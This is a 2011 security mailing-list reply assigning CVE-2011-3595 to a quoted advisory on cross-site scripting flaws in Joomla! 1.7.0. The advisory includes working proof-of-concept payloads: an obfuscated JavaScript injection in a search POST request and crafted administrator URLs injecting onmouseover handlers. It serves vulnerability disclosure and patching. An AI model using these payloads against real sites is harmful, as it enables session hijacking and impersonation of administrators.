Re: CVE Request: Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities

[Josh Bressers <bressers () redhat com>]

Please use CVE-2011-3595

Thanks.

--
    JB


----- Original Message -----
> Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities
>
>
>
> 1. OVERVIEW
>
> Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site
> Scripting issues.
>
>
> 2. BACKGROUND
>
> Joomla is a free and open source content management system (CMS) for
> publishing content on the World Wide Web and intranets. It comprises
> a
> model–view–controller (MVC) Web application framework that can also
> be
> used independently.
> Joomla is written in PHP, uses object-oriented programming (OOP)
> techniques and software design patterns, stores data in a MySQL
> database, and includes features such as page caching, RSS feeds,
> printable versions of pages, news flashes, blogs, polls, search, and
> support for language internationalization.
>
>
> 3. VULNERABILITY DESCRIPTION
>
> Several parameters (searchword, extension, asset, author ) in Joomla!
> Core components are not properly sanitized upon submission to the
> /index.php url, which allows attacker to conduct Cross Site Scripting
> attack. This may allow an attacker to create a specially crafted URL
> that would execute arbitrary script code in a victim's browser.
>
>
> 4. VERSION AFFECTED
>
> 1.7.0 <=
>
>
> 5. PROOF-OF-CONCEPT/EXPLOIT
>
>
> component: com_search, parameter: searchword (Browser: IE, Konqueror)
> =====================================================================
> This is our previously reported issue -
> http://bl0g.yehg.net/2011/07/joomla-170-rc-and-lower-multiple-cross.html
> http://bl0g.yehg.net/2011/06/joomla-163-and-lower-multiple-cross.html
> We have no idea what made Joomla! guys so difficult to fix this
> issue.
>
>
> [REQUEST]
> POST /joomla17_noseo/index.php HTTP/1.1
> Host: localhost
> Accept: */*
> Accept-Language: en
> User-Agent: MSIE 8.0
> Connection: close
> Referer: http://localhost/joomla17_noseo
>
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 456
>
>
> task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
> [/REQUEST]
>
>
> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> User Login is required to execute the following XSSes.
>
>
> Parameter: extension, Component: com_categories
> ====================================================
>
> http://localhost/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22
>
>
>
> Parameter: asset , Component: com_media
> ====================================================
>
> http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=
>
>
>
> Parameter: author, Component: com_media
> ====================================================
>
> http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22
>
>
>
> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
>
> 6. IMPACT
>
> Attackers can compromise currently logged-in user/administrator
> session and impersonate arbitrary user actions available under
> /administrator/ functions.
>
>
> 7. SOLUTION
>
> Upgrade to Joomla! 1.7.1-stable or higher.
>
>
> 8. VENDOR
>
> Joomla! Developer Team
> http://www.joomla.org
>
>
> 9. CREDIT
>
> This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
> Ethical Hacker Group, Myanmar.
>
>
> 10. DISCLOSURE TIME-LINE
>
> 2011-07-29: notified vendor
> 2011-09-26: patched version, 1.7.1-stable, released
> 2011-09-29: vulnerability disclosed
>
>
> 11. REFERENCES
>
> Original Advisory URL:
> http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.7.0-stable%5D_cross_site_scripting%28XSS%29
>
> Vendor Advisory URLs:
> http://developer.joomla.org/security/news/367-20110901-core-xss-vulnerability
> http://developer.joomla.org/security/news/368-20110902-core-xss-vulnerability
>
>
> #yehg [2011-09-29]